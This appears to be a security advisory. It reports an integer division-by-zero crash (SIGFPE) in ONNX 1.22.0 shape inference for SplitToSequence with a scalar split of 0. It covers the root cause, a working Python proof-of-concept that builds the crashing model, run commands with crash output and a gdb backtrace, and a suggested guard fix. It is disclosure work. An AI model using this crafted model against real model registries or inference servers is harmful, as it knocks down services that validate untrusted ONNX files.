YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
SIGFPE (integer division-by-zero) in ONNX shape inference for SplitToSequence via scalar split=0
Summary
A crafted ONNX model containing a single SplitToSequence node with an optional
split input provided as a scalar int64/int32 initializer whose value is
0 triggers an integer modulo-by-zero during shape inference, killing the
host process with SIGFPE (signal 8). Both public, untrusted-model entry points
reach the crash:
onnx.shape_inference.infer_shapes(model, strict_mode=True)onnx.checker.check_model(model, full_check=True)
This is a denial-of-service in any service that runs ONNX shape inference or the full model checker over attacker-supplied models (a common validation step in model registries, conversion pipelines, and inference servers).
Affected target
- Project: onnx/onnx
- Version: 1.22.0 (latest release at time of report)
- Git tag / commit:
v1.22.0β2bb50465112feca9003e1ed654d77f01ff1415ca - File:
onnx/defs/sequence/utils.cc(SplitToSequence shape-inference helper)
Root cause
In the SplitToSequence shape-inference logic, when the optional split input is
a scalar initializer (dims=[]), the code parses its single value into
splitSizes and guards only against an empty vector. A scalar split=0
yields splitSizes = [0], which passes the empty check. Execution then reaches
the scalar branch (splitShape.dim_size() == 0) and computes
splitDimValue % splitSizes[0] with splitSizes[0] == 0. There is no check
that the scalar chunk size is > 0, so this is an integer modulo-by-zero.
onnx/defs/sequence/utils.cc (lines ~108-138):
std::vector<int64_t> splitSizes;
if (splitInitializer->data_type() == TensorProto::INT64) {
const auto data = ParseData<int64_t>(splitInitializer);
splitSizes.insert(splitSizes.end(), data.begin(), data.end());
} else if (splitInitializer->data_type() == TensorProto::INT32) {
const auto data = ParseData<int32_t>(splitInitializer);
splitSizes.insert(splitSizes.end(), data.begin(), data.end());
} else {
fail_shape_inference("Only supports `int32_t` or `int64_t` inputs for split");
}
if (splitSizes.empty()) { // <-- only guards EMPTY
fail_shape_inference("Input 'split' can not be empty.");
}
const auto& splitDim = inputShape.dim(axis);
if (!splitDim.has_dim_value()) {
return -1;
}
int64_t splitDimValue = splitDim.dim_value();
const auto& splitShape = getInputShape(ctx, 1);
if (splitShape.dim_size() == 0) {
// split is scalar
if (splitDimValue % splitSizes[0] == 0) { // <-- LINE 134: % 0 when split value is 0 --> SIGFPE
return splitSizes[0];
}
return -1;
}
The missing guard is a positivity/zero check on the divisor (splitSizes[0]),
not a size-mismatch check. ParseData's element-count validation does not help
here: a scalar tensor (dim product = 1) that stores a single value of 0 is
perfectly consistent, so it passes ParseData cleanly. The zero only becomes
fatal at the % operation.
Not a duplicate of the classic ParseData OOB
In 1.22.0 ParseData is hardened (it validates data.size() == dim_product),
which is why OneHot-style [0]-indexing / OOB reads via TopK etc. are no longer
reachable. This SplitToSequence bug is a separate, distinct division-by-zero:
the divisor simply lacks a zero guard. It is a different operator and a different
bug class from previously reported ONNX shape-inference issues (OneHot,
TreeEnsemble, Upsample, FunctionProto, Einsum, extractor β all OOB reads /
null-derefs).
Proof of concept
sts_poc.py builds a model with one SplitToSequence node, axis=0:
dataβ float tensorvalue_infowith a known dim value, shape[6](sosplitDim.has_dim_value()is true).splitβ scalarint64initializer (dims=[]) with the value taken from the CLI arg (sogetInputData(1)returns it andsplitShape.dim_size() == 0).
import sys, onnx
from onnx import helper, TensorProto
import onnx.shape_inference as si
def build(split_value):
data_vi = helper.make_tensor_value_info("data", TensorProto.FLOAT, [6])
split_init = helper.make_tensor("split", TensorProto.INT64, [], [split_value])
node = helper.make_node("SplitToSequence", ["data", "split"], ["seq"], axis=0)
g = helper.make_graph([node], "g", [data_vi], [], initializer=[split_init])
m = helper.make_model(g, opset_imports=[helper.make_opsetid("", 18)])
m.ir_version = 9
return m
if __name__ == "__main__":
v = int(sys.argv[1])
m = build(v)
print(f"[built] SplitToSequence, scalar split={v}, data dim=6", flush=True)
out = si.infer_shapes(m, strict_mode=True)
print("[ok] infer_shapes returned normally; output types:", flush=True)
for vi in out.graph.value_info:
print(" ", vi.name, vi.type)
print("[done]", flush=True)
sts_checker.py exercises the second entry point (check_model(full_check=True))
with scalar split=0.
Run:
python sts_poc.py 2 # NEGATIVE CONTROL β returns normally
python sts_poc.py 0 # POC via infer_shapes β SIGFPE
python sts_checker.py # POC via check_model(full_check=True) β SIGFPE
Captured evidence (verbatim)
Environment: onnx 1.22.0, CPython 3.13, Linux x86_64.
Negative control β scalar split=2 (no crash)
$ python sts_poc.py 2
[built] SplitToSequence, scalar split=2, data dim=6
[ok] infer_shapes returned normally; output types:
seq sequence_type {
elem_type {
tensor_type {
elem_type: 1
shape {
dim {
dim_value: 2
}
}
}
}
}
[done]
exit=0
POC via infer_shapes β scalar split=0
$ python sts_poc.py 0
[built] SplitToSequence, scalar split=0, data dim=6
exit=136 # 128 + 8 = SIGFPE
A subprocess wrapper confirms: child terminated by signal 8 (SIGFPE).
POC via check_model(full_check=True) β scalar split=0
$ python sts_checker.py
calling check_model full_check=True
exit=136 # SIGFPE
gdb backtrace
Thread 1 "python" received signal SIGFPE, Arithmetic exception.
#0 0x00007ffff6af9f78 in ?? () from .../onnx/onnx_cpp2py_export.abi3.so
#3 0x00007ffff6b706f2 in onnx::shape_inference::InferShapes(onnx::ModelProto&, ...)
from .../onnx_cpp2py_export.abi3.so
Impact
Denial of service (hard process crash via SIGFPE) reachable from a single
malicious model file through the two standard untrusted-model validation APIs
(infer_shapes with strict_mode, and check_model with full_check). Any
pipeline that shape-infers or fully-checks user-uploaded ONNX models can be
crashed with a tiny crafted model.
Suggested fix
Add a positivity guard on the scalar split value before the modulo, e.g.:
if (splitShape.dim_size() == 0) {
if (splitSizes[0] <= 0) {
fail_shape_inference("Scalar 'split' value must be greater than 0.");
}
if (splitDimValue % splitSizes[0] == 0) {
return splitSizes[0];
}
return -1;
}
Dedup / prior-work note
Distinct operator and bug class from prior ONNX shape-inference findings (OneHot,
TreeEnsemble, Upsample, FunctionProto, Einsum, extractor β all OOB reads /
null-derefs). This is an integer division-by-zero (SIGFPE), not the classic
ParseData-empty OOB, which is already hardened in 1.22.0. No known CVE covers
the SplitToSequence scalar-split=0 divisor.